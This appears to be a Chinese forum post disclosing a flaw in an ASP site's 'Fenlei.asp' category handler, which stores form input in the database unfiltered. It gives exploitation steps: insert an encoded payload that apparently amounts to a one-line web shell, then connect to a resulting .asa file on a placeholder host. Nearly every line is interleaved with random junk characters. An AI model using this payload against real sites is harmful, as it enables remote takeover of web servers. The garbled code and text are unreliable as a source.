'Fenlei.asp ; A- L* o' l7 A1 g( i; J5 m
, O7 I5 \8 u1 u4 z0 { L
IF Request.QueryString("Action")="del" Then 3 V( w4 ]( o( U$ T# O2 O
ID=Request.QueryString("ID")
1 A8 O6 Y: G( b8 O; J( JIF Countss ("tui","Fenlei",ID )<>0 then
' F/ A0 t. }$ I2 T; `$ h0 f7 A'略
6 X+ o) J- \# e: n4 J% p% w, _IF Request.QueryString("Action")="Add" Then
( L0 ]' M7 Z" W* @Tname=Request.Form("Typename") 9 d# T$ R; C m5 l' M
Set Rs=Server.CreateObject("adodb.Recordset")
# x( c! B6 A5 I7 P9 V3 q4 ~! G ?5 WSql="Select * From Fenlei Order by id Desc " ' S' S* h5 J6 l0 _5 a4 t1 U; _! \
Rs.Open Sql,Conn,1,3 - ]- f" T, e- C* G0 O/ Q
Rs.Addnew - i1 z& q5 x' m; \2 @/ O9 @
Rs("Typename")=Tname
: W# S( P4 M8 w- U8 L'略 4 [" j3 q+ E6 a) e: t5 C" Y" f
Set Rs=Server.CreateObject("adodb.Recordset")
/ Q# t, ]) n, s5 y; LSql="Select * From Fenlei Order by id Desc " 4 a2 N8 D3 R6 R/ O2 I f' \
Rs.Open Sql,Conn,1,1
) a# {/ d. c- W' p6 Y'略 ( O6 F. o8 m0 G" b
%>( C. F4 p y2 A" F( h% r
+ l, W' [7 W- \- h" a! F ! |& V% k! G# o1 q y2 W& h7 V4 k
' L! `' m. O' r4 i" j没有过滤,直接写入数据库。; C% }; x5 L' d+ W+ r. O2 T1 ~% p
! S( T+ L0 Z' O! p a/ C! Y
利用方法:0 x$ n, y: X+ M9 I9 U5 n! n# u7 E( S: t
- _% U! [) S, f) [& e! P插入:┼攠數畣整爠煥敵瑳∨≡┩>) ?$ E* ]' o7 o6 R8 W6 ?
# H, y) n( _; L
+ p9 _, P* h1 d5 K8 O! [3 t连接: http://www.xxx.com/###tongbaner.asa
, `( m1 h0 o& J. q6 [3 s+ ^'默认安装文件:
8 ?- c+ v0 i7 v g/ R'install.asp' h9 {' |3 G) A% T: N5 L6 {
|